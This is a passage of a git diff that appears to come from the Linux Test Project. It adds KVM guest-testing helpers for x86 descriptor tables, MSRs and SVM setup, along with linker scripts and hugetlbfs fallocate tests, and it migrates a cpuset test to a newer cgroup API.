sizeof(tst_kvm_reset_code)); + inst->result = (struct tst_kvm_result *)(buf + + (KVM_RESULT_BASEADDR % pagesize)); + inst->result->result = KVM_TNONE; + inst->result->message[0] = '\0'; +} + +int tst_kvm_run_instance(struct tst_kvm_instance *inst, int exp_errno) +{ + struct kvm_regs regs; + int ret; + + while (1) { + inst->result->result = KVM_TNONE; + inst->result->message[0] = '\0'; + errno = 0; + ret = ioctl(inst->vcpu_fd, KVM_RUN, 0); + + if (ret == -1) { + if (errno == exp_errno) + return ret; + + tst_brk(TBROK | TERRNO, "ioctl(KVM_RUN) failed"); + } + + if (ret < 0) { + tst_brk(TBROK | TERRNO, + "Invalid ioctl(KVM_RUN) return value %d", ret); + } + + if (inst->vcpu_info->exit_reason != KVM_EXIT_HLT) { + SAFE_IOCTL(inst->vcpu_fd, KVM_GET_REGS, ®s); + tst_brk(TBROK, + "Unexpected VM exit, RIP=0x%llx, reason=%u", + regs.rip, inst->vcpu_info->exit_reason); + } + + if (inst->result->result == KVM_TEXIT) + break; + + tst_kvm_print_result(inst); + } + + return ret; +} + +void tst_kvm_destroy_instance(struct tst_kvm_instance *inst) +{ + if (inst->vm_fd < 0) + return; + + if (inst->vcpu_info != MAP_FAILED) + SAFE_MUNMAP(inst->vcpu_info, inst->vcpu_info_size); + + if (inst->vcpu_fd >= 0) + SAFE_CLOSE(inst->vcpu_fd); + + SAFE_CLOSE(inst->vm_fd); + memset(inst->ram, 0, sizeof(inst->ram)); +} + +int tst_kvm_wait_guest(struct tst_kvm_instance *inst, int timeout_ms) +{ + volatile struct tst_kvm_result *result = inst->result; + int32_t res; + struct timespec start, now; + + if (timeout_ms >= 0) + tst_clock_gettime(CLOCK_MONOTONIC, &start); + + while ((res = result->result) != KVM_TSYNC) { + if (res == KVM_TEXIT) + return res; + + if (timeout_ms >= 0) { + tst_clock_gettime(CLOCK_MONOTONIC, &now); + + if (tst_timespec_diff_ms(now, start) >= timeout_ms) + return -1; + } + + usleep(1000); + } + + return 0; +} + +void tst_kvm_clear_guest_signal(struct tst_kvm_instance *inst) +{ + inst->result->result = KVM_TNONE; +} + +void tst_kvm_setup(void) +{ + +} + +void tst_kvm_run(void) +{ + tst_kvm_create_instance(&test_vm, DEFAULT_RAM_SIZE); + tst_kvm_run_instance(&test_vm, 0); + tst_kvm_destroy_instance(&test_vm); + tst_free_all(); +} + +void tst_kvm_cleanup(void) +{ + tst_kvm_destroy_instance(&test_vm); +} diff --git a/testcases/kernel/kvm/lib_x86.c b/testcases/kernel/kvm/lib_x86.c new file mode 100644 index 00000000..3e6656f1 --- /dev/null +++ b/testcases/kernel/kvm/lib_x86.c @@ -0,0 +1,395 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC + * + * x86-specific KVM helper functions + */ + +#include "kvm_x86_svm.h" + +void kvm_svm_guest_entry(void); + +struct kvm_interrupt_frame { + uintptr_t eip, cs, eflags, esp, ss; +}; + +const char *tst_interrupt_names[INTERRUPT_COUNT] = { + "Division by zero", + "Debug interrupt", + "Non-maskable interrupt", + "Breakpoint", + "Arithmetic overflow", + "Bound range exception", + "Illegal instruction error", + "Device not available error", + "Double fault", + NULL, + "Invalid TSS error", + "Segment not present error", + "Stack segment fault", + "General protection fault", + "Page fault", + NULL, + "Floating point exception", + "Alignment error", + "Machine check exception", + "SIMD floating point exception", + "Virtualization exception", + "Control protection exception", + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + "Hypervisor injection exception", + "VMM communication exception", + "Security exception", + NULL +}; + +static uintptr_t intr_handlers[] = { + (uintptr_t)kvm_handle_zerodiv, + (uintptr_t)kvm_handle_debug, + (uintptr_t)kvm_handle_nmi, + (uintptr_t)kvm_handle_breakpoint, + (uintptr_t)kvm_handle_overflow, + (uintptr_t)kvm_handle_bound_range_exc, + (uintptr_t)kvm_handle_bad_opcode, + (uintptr_t)kvm_handle_device_error, + (uintptr_t)kvm_handle_double_fault, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_invalid_tss, + (uintptr_t)kvm_handle_segfault, + (uintptr_t)kvm_handle_stack_fault, + (uintptr_t)kvm_handle_gpf, + (uintptr_t)kvm_handle_page_fault, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_fpu_error, + (uintptr_t)kvm_handle_alignment_error, + (uintptr_t)kvm_handle_machine_check, + (uintptr_t)kvm_handle_simd_error, + (uintptr_t)kvm_handle_virt_error, + (uintptr_t)kvm_handle_cpe, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_bad_exception, + (uintptr_t)kvm_handle_hv_injection, + (uintptr_t)kvm_handle_vmm_comm, + (uintptr_t)kvm_handle_security_error, + (uintptr_t)kvm_handle_bad_exception, + 0 +}; + +static void kvm_set_intr_handler(unsigned int id, uintptr_t func) +{ + memset(kvm_idt + id, 0, sizeof(kvm_idt[0])); + kvm_idt[id].offset_lo = func & 0xffff; + kvm_idt[id].offset_hi = func >> 16; + kvm_idt[id].selector = 8; + kvm_idt[id].flags = 0x8f; /* type = 0xf, P = 1 */ +} + +void kvm_init_interrupts(void) +{ + int i; + + for (i = 0; intr_handlers[i]; i++) + kvm_set_intr_handler(i, intr_handlers[i]); + + for (; i < X86_INTR_COUNT; i++) + kvm_set_intr_handler(i, (uintptr_t)kvm_handle_bad_exception); +} + +uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry) +{ + if (!entry->present) + return 0; + + return entry->address << 12; +} + +#ifdef __x86_64__ +static void kvm_set_segment_descriptor64(struct segment_descriptor64 *dst, + uint64_t baseaddr, uint32_t limit, unsigned int flags) +{ + + dst->baseaddr_lo = baseaddr & 0xffffff; + dst->baseaddr_hi = baseaddr >> 24; + dst->limit_lo = limit & 0xffff; + dst->limit_hi = limit >> 16; + dst->flags_lo = flags & 0xff; + dst->flags_hi = (flags >> 8) & 0xf; + dst->reserved = 0; +} +#endif + +void kvm_set_segment_descriptor(struct segment_descriptor *dst, + uint64_t baseaddr, uint32_t limit, unsigned int flags) +{ + if (limit >> 20) + tst_brk(TBROK, "Segment limit out of range"); + +#ifdef __x86_64__ + /* System descriptors have double size in 64bit mode */ + if (!(flags & SEGFLAG_NSYSTEM)) { + kvm_set_segment_descriptor64((struct segment_descriptor64 *)dst, + baseaddr, limit, flags); + return; + } +#endif + + if (baseaddr >> 32) + tst_brk(TBROK, "Segment base address out of range"); + + dst->baseaddr_lo = baseaddr & 0xffffff; + dst->baseaddr_hi = baseaddr >> 24; + dst->limit_lo = limit & 0xffff; + dst->limit_hi = limit >> 16; + dst->flags_lo = flags & 0xff; + dst->flags_hi = (flags >> 8) & 0xf; +} + +void kvm_parse_segment_descriptor(struct segment_descriptor *src, + uint64_t *baseaddr, uint32_t *limit, unsigned int *flags) +{ + if (baseaddr) { + *baseaddr = (((uint64_t)src->baseaddr_hi) << 24) | + src->baseaddr_lo; + } + + if (limit) + *limit = (((uint32_t)src->limit_hi) << 16) | src->limit_lo; + + if (flags) + *flags = (((uint32_t)src->flags_hi) << 8) | src->flags_lo; +} + +int kvm_find_free_descriptor(const struct segment_descriptor *table, + size_t size) +{ + const struct segment_descriptor *ptr; + size_t i; + + for (i = 0, ptr = table; i < size; i++, ptr++) { + if (!(ptr->flags_lo & SEGFLAG_PRESENT)) + return i; + +#ifdef __x86_64__ + /* System descriptors have double size in 64bit mode */ + if (!(ptr->flags_lo & SEGFLAG_NSYSTEM)) { + ptr++; + i++; + } +#endif + } + + return -1; +} + +unsigned int kvm_create_stack_descriptor(struct segment_descriptor *table, + size_t tabsize, void *stack_base) +{ + int ret = kvm_find_free_descriptor(table, tabsize); + + if (ret < 0) + tst_brk(TBROK, "Descriptor table is full"); + + kvm_set_segment_descriptor(table + ret, 0, + (((uintptr_t)stack_base) - 1) >> 12, SEGTYPE_STACK | + SEGFLAG_PRESENT | SEGFLAG_32BIT | SEGFLAG_PAGE_LIMIT); + return ret; +} + +void kvm_get_cpuid(unsigned int eax, unsigned int ecx, struct kvm_cpuid *buf) +{ + asm ( + "cpuid\n" + : "=a" (buf->eax), "=b" (buf->ebx), "=c" (buf->ecx), + "=d" (buf->edx) + : "0" (eax), "2" (ecx) + ); +} + +uint64_t kvm_rdmsr(unsigned int msr) +{ + unsigned int ret_lo, ret_hi; + + asm ( + "rdmsr\n" + : "=a" (ret_lo), "=d" (ret_hi) + : "c" (msr) + ); + + return (((uint64_t)ret_hi) << 32) | ret_lo; +} + +void kvm_wrmsr(unsigned int msr, uint64_t value) +{ + uint32_t val_lo = value & 0xffffffff, val_hi = value >> 32; + + asm ( + "wrmsr\n" + : + : "a" (val_lo), "d" (val_hi), "c" (msr) + ); +} + +uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm) +{ + return ifrm->eip; +} + +int kvm_is_svm_supported(void) +{ + struct kvm_cpuid buf; + + kvm_get_cpuid(CPUID_GET_INPUT_RANGE, 0, &buf); + + if (buf.eax < CPUID_GET_EXT_FEATURES) + return 0; + + kvm_get_cpuid(CPUID_GET_EXT_FEATURES, 0, &buf); + return buf.ecx & 0x4; +} + +int kvm_get_svm_state(void) +{ + return kvm_rdmsr(MSR_EFER) & EFER_SVME; +} + +void kvm_set_svm_state(int enabled) +{ + uint64_t value; + + if (!kvm_is_svm_supported()) + tst_brk(TCONF, "CPU does not support SVM"); + + if (kvm_rdmsr(MSR_VM_CR) & VM_CR_SVMDIS) + tst_brk(TCONF, "SVM is supported but disabled"); + + value = kvm_rdmsr(MSR_EFER); + + if (enabled) + value |= EFER_SVME; + else + value &= ~EFER_SVME; + + kvm_wrmsr(MSR_EFER, value); +} + +struct kvm_vmcb *kvm_alloc_vmcb(void) +{ + struct kvm_vmcb *ret; + + ret = tst_heap_alloc_aligned(sizeof(struct kvm_vmcb), PAGESIZE); + memset(ret, 0, sizeof(struct kvm_vmcb)); + return ret; +} + +void kvm_init_svm(void) +{ + kvm_set_svm_state(1); + kvm_wrmsr(MSR_VM_HSAVE_PA, (uintptr_t)kvm_alloc_vmcb()); +} + +void kvm_vmcb_copy_gdt_descriptor(struct kvm_vmcb_descriptor *dst, + unsigned int gdt_id) +{ + uint64_t baseaddr; + uint32_t limit; + unsigned int flags; + + if (gdt_id >= KVM_GDT_SIZE) + tst_brk(TBROK, "GDT descriptor ID out of range"); + + kvm_parse_segment_descriptor(kvm_gdt + gdt_id, &baseaddr, &limit, + &flags); + + if (!(flags & SEGFLAG_PRESENT)) { + memset(dst, 0, sizeof(struct kvm_vmcb_descriptor)); + return; + } + + if (flags & SEGFLAG_PAGE_LIMIT) + limit = (limit << 12) | 0xfff; + + dst->selector = gdt_id << 3; + dst->attrib = flags; + dst->limit = limit; + dst->base = baseaddr; +} + +void kvm_vmcb_set_intercept(struct kvm_vmcb *vmcb, unsigned int id, + unsigned int state) +{ + unsigned int addr = id / 8, bit = 1 << (id % 8); + + if (id >= SVM_INTERCEPT_MAX) + tst_brk(TBROK, "Invalid SVM intercept ID"); + + if (state) + vmcb->intercepts[addr] |= bit; + else + vmcb->intercepts[addr] &= ~bit; +} + +void kvm_init_guest_vmcb(struct kvm_vmcb *vmcb, uint32_t asid, uint16_t ss, + void *rsp, int (*guest_main)(void)) +{ + struct kvm_cregs cregs; + struct kvm_sregs sregs; + + kvm_read_cregs(&cregs); + kvm_read_sregs(&sregs); + + kvm_vmcb_set_intercept(vmcb, SVM_INTERCEPT_VMRUN, 1); + kvm_vmcb_set_intercept(vmcb, SVM_INTERCEPT_HLT, 1); + + kvm_vmcb_copy_gdt_descriptor(&vmcb->es, sregs.es >> 3); + kvm_vmcb_copy_gdt_descriptor(&vmcb->cs, sregs.cs >> 3); + kvm_vmcb_copy_gdt_descriptor(&vmcb->ss, ss); + kvm_vmcb_copy_gdt_descriptor(&vmcb->ds, sregs.ds >> 3); + kvm_vmcb_copy_gdt_descriptor(&vmcb->fs, sregs.fs >> 3); + kvm_vmcb_copy_gdt_descriptor(&vmcb->gs, sregs.gs >> 3); + vmcb->gdtr.base = (uintptr_t)kvm_gdt; + vmcb->gdtr.limit = (KVM_GDT_SIZE*sizeof(struct segment_descriptor)) - 1; + vmcb->idtr.base = (uintptr_t)kvm_idt; + vmcb->idtr.limit = (X86_INTR_COUNT*sizeof(struct intr_descriptor)) - 1; + + vmcb->guest_asid = asid; + vmcb->efer = kvm_rdmsr(MSR_EFER); + vmcb->cr0 = cregs.cr0; + vmcb->cr3 = cregs.cr3; + vmcb->cr4 = cregs.cr4; + vmcb->rip = (uintptr_t)kvm_svm_guest_entry; + vmcb->rax = (uintptr_t)guest_main; + vmcb->rsp = (uintptr_t)rsp; + vmcb->rflags = 0x200; /* Interrupts enabled */ +} + +struct kvm_svm_vcpu *kvm_create_svm_vcpu(int (*guest_main)(void), + int alloc_stack) +{ + uint16_t ss = 0; + char *stack = NULL; + struct kvm_vmcb *vmcb; + struct kvm_svm_vcpu *ret; + + vmcb = kvm_alloc_vmcb(); + + if (alloc_stack) { + stack = tst_heap_alloc_aligned(2 * PAGESIZE, PAGESIZE); + ss = kvm_create_stack_descriptor(kvm_gdt, KVM_GDT_SIZE, stack); + stack += 2 * PAGESIZE; + } + + kvm_init_guest_vmcb(vmcb, 1, ss, stack, guest_main); + ret = tst_heap_alloc(sizeof(struct kvm_svm_vcpu)); + memset(ret, 0, sizeof(struct kvm_svm_vcpu)); + ret->vmcb = vmcb; + return ret; +} diff --git a/testcases/kernel/kvm/linker/payload.lds b/testcases/kernel/kvm/linker/payload.lds new file mode 100644 index 00000000..a544fd37 --- /dev/null +++ b/testcases/kernel/kvm/linker/payload.lds @@ -0,0 +1,11 @@ +TARGET(binary) + +SECTIONS +{ + .data : + { + kvm_payload_start = .; + KEEP(*(.data)) + kvm_payload_end = .; + } +} diff --git a/testcases/kernel/kvm/linker/x86.lds b/testcases/kernel/kvm/linker/x86.lds new file mode 100644 index 00000000..6e69c4d0 --- /dev/null +++ b/testcases/kernel/kvm/linker/x86.lds @@ -0,0 +1,75 @@ +OUTPUT_FORMAT(elf32-i386) + +PHDRS +{ + headers PT_PHDR PHDRS ; + text PT_LOAD FILEHDR PHDRS ; + data PT_LOAD ; + bss PT_LOAD ; +} + +SECTIONS +{ + /DISCARD/ : + { + *(.note.gnu.* .comment) + } + + . = 0x1000; + .init.boot : + { + *(.init.protected_mode) + *(.init.gdt32) + *(.init.memlayout) + } :text + + .text : + { + *(.rodata .rodata.*) + *(.text.unlikely .text.unlikely.*) + *(.text.startup .text.startup.*) + *(.text .text.*) + *(.gnu.linkonce.t.*) + } + + .init : + { + KEEP (*(SORT_NONE(.init))) + } + + .data : + { + *(.data.strings) + *(.data) + } :data + + .preinit_array : + { + PROVIDE_HIDDEN (__preinit_array_start = .); + KEEP (*(.preinit_array)) + PROVIDE_HIDDEN (__preinit_array_end = .); + } + + .init_array : + { + PROVIDE_HIDDEN (__init_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) + KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) + PROVIDE_HIDDEN (__init_array_end = .); + } + + .bss.pgtables : ALIGN(4096) + { + *(.bss.pgtables) + } :bss + + .bss : ALIGN(4096) + { + *(.bss.stack) + *(.bss.tss) + *(.bss) + + . = ALIGN(4096); + kvm_heap_begin = .; + } +} diff --git a/testcases/kernel/kvm/linker/x86_64.lds b/testcases/kernel/kvm/linker/x86_64.lds new file mode 100644 index 00000000..9e62aa5a --- /dev/null +++ b/testcases/kernel/kvm/linker/x86_64.lds @@ -0,0 +1,75 @@ +OUTPUT_FORMAT(elf64-x86-64) + +PHDRS +{ + headers PT_PHDR PHDRS ; + text PT_LOAD FILEHDR PHDRS ; + data PT_LOAD ; + bss PT_LOAD ; +} + +SECTIONS +{ + /DISCARD/ : + { + *(.note.gnu.* .comment) + } + + . = 0x1000; + .init.boot : + { + *(.init.protected_mode) + *(.init.gdt32) + *(.init.memlayout) + } :text + + .text : + { + *(.rodata .rodata.*) + *(.text.unlikely .text.unlikely.*) + *(.text.startup .text.startup.*) + *(.text .text.*) + *(.gnu.linkonce.t.*) + } + + .init : + { + KEEP (*(SORT_NONE(.init))) + } + + .data : + { + *(.data.strings) + *(.data) + } :data + + .preinit_array : + { + PROVIDE_HIDDEN (__preinit_array_start = .); + KEEP (*(.preinit_array)) + PROVIDE_HIDDEN (__preinit_array_end = .); + } + + .init_array : + { + PROVIDE_HIDDEN (__init_array_start = .); + KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) + KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) + PROVIDE_HIDDEN (__init_array_end = .); + } + + .bss.pgtables : ALIGN(4096) + { + *(.bss.pgtables) + } :bss + + .bss : ALIGN(4096) + { + *(.bss.stack) + *(.bss.tss) + *(.bss) + + . = ALIGN(4096); + kvm_heap_begin = .; + } +} diff --git a/testcases/kernel/logging/kmsg/kmsg01.c b/testcases/kernel/logging/kmsg/kmsg01.c index bf2de574..ba8179d5 100755 --- a/testcases/kernel/logging/kmsg/kmsg01.c +++ b/testcases/kernel/logging/kmsg/kmsg01.c @@ -573,5 +573,4 @@ static struct tst_test test = { .cleanup = cleanup, .needs_root = 1, .test_all = test_kmsg, - .min_kver = "3.5.0" }; diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore index ff291053..7258489e 100755 --- a/testcases/kernel/mem/.gitignore +++ b/testcases/kernel/mem/.gitignore @@ -1,9 +1,39 @@ /cpuset/cpuset01 +/hugetlb/hugefallocate/hugefallocate01 +/hugetlb/hugefallocate/hugefallocate02 +/hugetlb/hugefork/hugefork01 +/hugetlb/hugefork/hugefork02 /hugetlb/hugemmap/hugemmap01 /hugetlb/hugemmap/hugemmap02 /hugetlb/hugemmap/hugemmap04 /hugetlb/hugemmap/hugemmap05 /hugetlb/hugemmap/hugemmap06 +/hugetlb/hugemmap/hugemmap07 +/hugetlb/hugemmap/hugemmap08 +/hugetlb/hugemmap/hugemmap09 +/hugetlb/hugemmap/hugemmap10 +/hugetlb/hugemmap/hugemmap11 +/hugetlb/hugemmap/hugemmap12 +/hugetlb/hugemmap/hugemmap13 +/hugetlb/hugemmap/hugemmap14 +/hugetlb/hugemmap/hugemmap15 +/hugetlb/hugemmap/hugemmap16 +/hugetlb/hugemmap/hugemmap17 +/hugetlb/hugemmap/hugemmap18 +/hugetlb/hugemmap/hugemmap19 +/hugetlb/hugemmap/hugemmap20 +/hugetlb/hugemmap/hugemmap21 +/hugetlb/hugemmap/hugemmap22 +/hugetlb/hugemmap/hugemmap23 +/hugetlb/hugemmap/hugemmap24 +/hugetlb/hugemmap/hugemmap25 +/hugetlb/hugemmap/hugemmap26 +/hugetlb/hugemmap/hugemmap27 +/hugetlb/hugemmap/hugemmap28 +/hugetlb/hugemmap/hugemmap29 +/hugetlb/hugemmap/hugemmap30 +/hugetlb/hugemmap/hugemmap31 +/hugetlb/hugemmap/hugemmap32 /hugetlb/hugeshmat/hugeshmat01 /hugetlb/hugeshmat/hugeshmat02 /hugetlb/hugeshmat/hugeshmat03 diff --git a/testcases/kernel/mem/cpuset/cpuset01.c b/testcases/kernel/mem/cpuset/cpuset01.c index 66c18f6a..956ac30c 100755 --- a/testcases/kernel/mem/cpuset/cpuset01.c +++ b/testcases/kernel/mem/cpuset/cpuset01.c @@ -35,8 +35,6 @@ #ifdef HAVE_NUMA_V2 -static const struct tst_cgroup_group *cg; - volatile int end; static int *nodes; static int nnodes; @@ -53,10 +51,10 @@ static void test_cpuset(void) unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 }; char buf[BUFSIZ]; - SAFE_CGROUP_READ(cg, "cpuset.cpus", buf, sizeof(buf)); - SAFE_CGROUP_PRINT(cg, "cpuset.cpus", buf); - SAFE_CGROUP_READ(cg, "cpuset.mems", buf, sizeof(buf)); - SAFE_CGROUP_PRINT(cg, "cpuset.mems", buf); + SAFE_CG_READ(tst_cg, "cpuset.cpus", buf, sizeof(buf)); + SAFE_CG_PRINT(tst_cg, "cpuset.cpus", buf); + SAFE_CG_READ(tst_cg, "cpuset.mems", buf, sizeof(buf)); + SAFE_CG_PRINT(tst_cg, "cpuset.mems", buf); child = SAFE_FORK(); if (child == 0) { @@ -70,8 +68,8 @@ static void test_cpuset(void) exit(mem_hog_cpuset(ncpus > 1 ? ncpus : 1)); } - SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%d", nodes[0]); - SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%d", nodes[1]); + SAFE_CG_PRINTF(tst_cg, "cpuset.mems", "%d", nodes[0]); + SAFE_CG_PRINTF(tst_cg, "cpuset.mems", "%d", nodes[1]); tst_reap_children(); @@ -80,20 +78,13 @@ static void test_cpuset(void) static void setup(void) { - tst_cgroup_require("cpuset", NULL); ncpus = count_cpu(); if (get_allowed_nodes_arr(NH_MEMS | NH_CPUS, &nnodes, &nodes) < 0) tst_brk(TBROK | TERRNO, "get_allowed_nodes_arr"); if (nnodes <= 1) tst_brk(TCONF, "requires a NUMA system."); - cg = tst_cgroup_get_test_group(); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); -} - -static void cleanup(void) -{ - tst_cgroup_cleanup(); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); } static void sighandler(int signo LTP_ATTRIBUTE_UNUSED) @@ -183,9 +174,8 @@ static struct tst_test test = { .needs_root = 1, .forks_child = 1, .setup = setup, - .cleanup = cleanup, .test_all = test_cpuset, - .min_kver = "2.6.32", + .needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL }, }; #else diff --git a/testcases/kernel/mem/hugetlb/hugefallocate/Makefile b/testcases/kernel/mem/hugetlb/hugefallocate/Makefile new file mode 100644 index 00000000..77ebb0ae --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefallocate/Makefile @@ -0,0 +1,10 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (C) 2009, Cisco Systems Inc. +# Ngie Cooper, July 2009 + +top_srcdir ?= ../../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(abs_srcdir)/../Makefile.inc +include $(top_srcdir)/include/mk/generic_leaf_target.mk + diff --git a/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate01.c b/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate01.c new file mode 100644 index 00000000..e4bb21e4 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate01.c @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2015 Oracle Corporation + * Author: Mike Kravetz + */ + +/*\ + * [Description] + * + * It tests alignment of fallocate arguments. fallocate will take non-huge + * page aligned offsets and addresses. However, operations are only + * performed on huge pages. This is different that than fallocate + * behavior in "normal" filesystems. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" +#include "lapi/fallocate.h" + +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static long hpage_size; + +static void run_test(void) +{ + int err; + unsigned long free_initial, free_after, free_after_delete; + + fd = tst_creat_unlinked(MNTPOINT, 0); + + free_initial = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + + /* + * First preallocate file with just 1 byte. Allocation sizes + * are rounded up, so we should get an entire huge page. + */ + err = fallocate(fd, 0, 0, 1); + if (err) { + if (errno == EOPNOTSUPP) + tst_brk(TCONF, "Operation Not Supported"); + tst_res(TFAIL|TERRNO, "fallocate()"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_initial - free_after != 1) { + tst_res(TFAIL, "fallocate 1 byte did not preallocate entire huge page"); + goto cleanup; + } + + /* + * Now punch a hole with just 1 byte. On hole punch, sizes are + * rounded down. So, this operation should not create a hole. + */ + err = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, 1); + if (err) { + tst_res(TFAIL|TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_after == free_initial) { + tst_res(TFAIL, "fallocate hole punch 1 byte free'ed a huge page"); + goto cleanup; + } + + /* + * Now punch a hole with of 2 * hpage_size - 1 byte. This size + * should be rounded down to a single huge page and the hole created. + */ + err = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, (2 * hpage_size) - 1); + if (err) { + tst_res(TFAIL|TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_after != free_initial) { + tst_res(TFAIL, "fallocate hole punch 2 * hpage_size - 1 byte did not" + " free huge page"); + goto cleanup; + } + + /* + * Perform a preallocate operation with offset 1 and size of + * hpage_size. The offset should be rounded down and the + * size rounded up to preallocate two huge pages. + */ + err = fallocate(fd, 0, 1, hpage_size); + if (err) { + tst_res(TFAIL, "fallocate()"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_initial - free_after != 2) { + tst_res(TFAIL, "fallocate 1 byte offset, huge page size did not" + " preallocate two huge pages"); + goto cleanup; + } + + /* + * The hole punch code will only delete 'whole' huge pags that are + * in the specified range. The offset is rounded up, and (offset + * + size) is rounded down to determine the huge pages to be deleted. + * In this case, after rounding the range is (hpage_size, hpage_size). + * So, no pages should be deleted. + */ + err = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 1, hpage_size); + if (err) { + tst_res(TFAIL|TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_initial - free_after != 2) { + tst_res(TFAIL, "fallocate hole punch 1 byte offset, huge page size" + " incorrectly deleted a huge page"); + goto cleanup; + } + + /* + * To delete both huge pages, the range passed to hole punch must + * overlap the allocated pages + */ + err = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, 2 * hpage_size); + if (err) { + tst_res(TFAIL|TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)"); + goto cleanup; + } + + free_after_delete = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + TST_EXP_EQ_LU(free_after_delete, free_initial); +cleanup: + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate02.c b/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate02.c new file mode 100644 index 00000000..4a25666a --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefallocate/hugefallocate02.c @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2015 Oracle Corporation + * Author: Mike Kravetz + */ + +/*\ + * [Description] + * + * It tests basic fallocate functionality in hugetlbfs. Preallocate huge + * pages to a file in hugetlbfs, and then remove the pages via hole punch. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" +#include "lapi/fallocate.h" + +#define MAX_PAGES_TO_USE 5 +#define MNTPOINT "hugetlbfs/" + +static int fd = -1; +static long hpage_size; + +static void run_test(void) +{ + int err; + unsigned long max_iterations; + unsigned long free_initial, free_after, free_end; + + free_initial = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + max_iterations = MIN(free_initial, MAX_PAGES_TO_USE); + + fd = tst_creat_unlinked(MNTPOINT, 0); + + /* First preallocate file with max_iterations pages */ + err = fallocate(fd, 0, 0, hpage_size * max_iterations); + if (err) { + if (errno == EOPNOTSUPP) + tst_brk(TCONF, "fallocate() Operation is not supported"); + tst_res(TFAIL|TERRNO, "fallocate()"); + goto cleanup; + } + + free_after = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + if (free_initial - free_after != max_iterations) { + tst_res(TFAIL, "fallocate did not preallocate %lu huge pages", + max_iterations); + goto cleanup; + } + + /* Now punch a hole of the same size */ + err = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, hpage_size * max_iterations); + if (err) { + tst_res(TFAIL|TERRNO, "fallocate(FALLOC_FL_PUNCH_HOLE)"); + goto cleanup; + } + + free_end = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + TST_EXP_EQ_LU(free_end, free_initial); +cleanup: + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + 